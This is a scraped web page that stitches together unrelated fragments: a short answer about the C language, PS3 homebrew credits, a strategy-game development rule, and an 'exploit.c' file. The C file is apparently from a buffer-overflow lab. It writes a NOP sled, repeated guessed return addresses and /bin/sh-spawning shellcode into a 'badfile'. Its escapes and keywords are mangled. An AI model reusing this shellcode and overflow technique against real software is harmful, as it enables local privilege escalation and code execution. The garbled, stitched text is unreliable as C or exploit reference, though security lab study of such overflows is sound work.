Sorry cant understand your question fully but i am assuming that you wanted to ask.What is C and how to program in C. C is a Powerful Programming Language. It was made in late 1970's by Dennis Ritchie and Bell Labs for the Unix systems. It gained a lot of popularity and till today also is one of the most popular programming language.
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- Many thanks to xerpi for porting the memory leak exploit to ps3, zecoxao & Joonie for their early & renewed support, mysis for documenting vsh/lv2, kakaroto for the PS3 IDA tools, naherwert for scetool, Rebug Team for producing/updating the only CFW adequate to develop this work, Cobra team for sharing their CobraUSB source, the psdevwiki team.
- The cost to develop provinces increases by +3% per point above 10 total development. This modifier itself increases by 3 for every 10 total development. For example, a province upgrading from total development level 30 to 31 will have 'Development: +69% ' modifier (20 above 10 total development gives 60.
Exploit Dev How Much C To Take
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andschwaUpdating code and comments8e0a802Oct 7, 2013
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/* exploit.c */ |
/* A program that creates a file containing code for launching shell */ |
#include<stdlib.h> |
#include<stdio.h> |
#include<string.h> |
char shellcode[]= |
'x31xc0'/* xorl %eax,%eax */ |
'x50'/* pushl %eax */ |
'x68''//sh'/* pushl $0x68732f2f */ |
'x68''/bin'/* pushl $0x6e69622f */ |
'x89xe3'/* movl %esp,%ebx */ |
'x50'/* pushl %eax */ |
'x53'/* pushl %ebx */ |
'x89xe1'/* movl %esp,%ecx */ |
'x99'/* cdql */ |
'xb0x0b'/* movb $0x0b,%al */ |
'xcdx80'/* int $0x80 */ |
; |
/* Function that calls an assembly instuction |
to return the address of the top of the stack */ |
unsignedlongget_sp(void) |
{ |
__asm__('movl %esp,%eax'); |
} |
voidmain(int argc, char **argv) |
{ |
char buffer[517]; |
FILE *badfile; |
/* Initialize buffer with 0x90 (NOP instruction) */ |
memset(&buffer, 0x90, 517); |
/* You need to fill the buffer with appropriate contents here */ |
int i = 0; |
/* Pointer to buffer */ |
char *ptr; |
/* Long int to handle a sucession of retptr addresses */ |
long *addrptr; |
/* Address to land us in stack.c's bof function |
in order to overwrite the return and send us to the exploit */ |
long retaddr; |
/* num is a position int, used to place shell code plus null at end of buffer */ |
int num = sizeof(buffer) - (sizeof(shellcode) + 1); |
/* argv was used as an attempt to guess the stack pointer offset |
at runtime. This approach was not successful, it drastically |
changes the address of the return we want to overwrite in stack.c */ |
/* offset = argv[1]; */ |
/* Grab the address of the start of buffer */ |
ptr = buffer; |
/* Cast the address into a long int */ |
addrptr = (long*)(ptr); |
/* printf('buffaddr: %11xn', get_buffaddr(buffer)); */ |
/* This address refers to an address inside of |
stack.c's bof function. The address was determined as a |
result of initializing x to 0 in stack.'s bif function and |
printing its address with a printf statement */ |
/* retaddr = 0xbffff362; */ |
/* Alternative, correct approach that required us taking an educated |
guess at what the offest should be in order to land in stack.c's |
bof function. */ |
retaddr = get_sp() + 500; |
/* Addresses printed out for orientation, confirmation of process. |
printf('stack ptr: 0x%xn', get_sp()); |
printf('retaddr: 0x%xn', retptr); |
printf('retaddr: 0x%xn', get_sp() + 502); |
printf('buffer: 0x%xn', buffer); |
printf('shellcode size: %dn', sizeof(shellcode)); */ |
/* Fill the first 20 words of the buffer with retaddr */ |
for (i = 0; i < 20; i++) |
*(addrptr++) = retaddr; |
/* Fill the end of buffer with our shellcode */ |
for (i = 0; i < sizeof(shellcode); i++) |
buffer[num + i] = shellcode[i]; |
/* Null terminate our shellcode at end of buffer */ |
buffer[sizeof(buffer) - 1] = '0'; |
/* Save the contents to the file 'badfile' */ |
badfile = fopen('./badfile', 'w'); |
fwrite(buffer, 517, 1, badfile); |
fclose(badfile); |
} |
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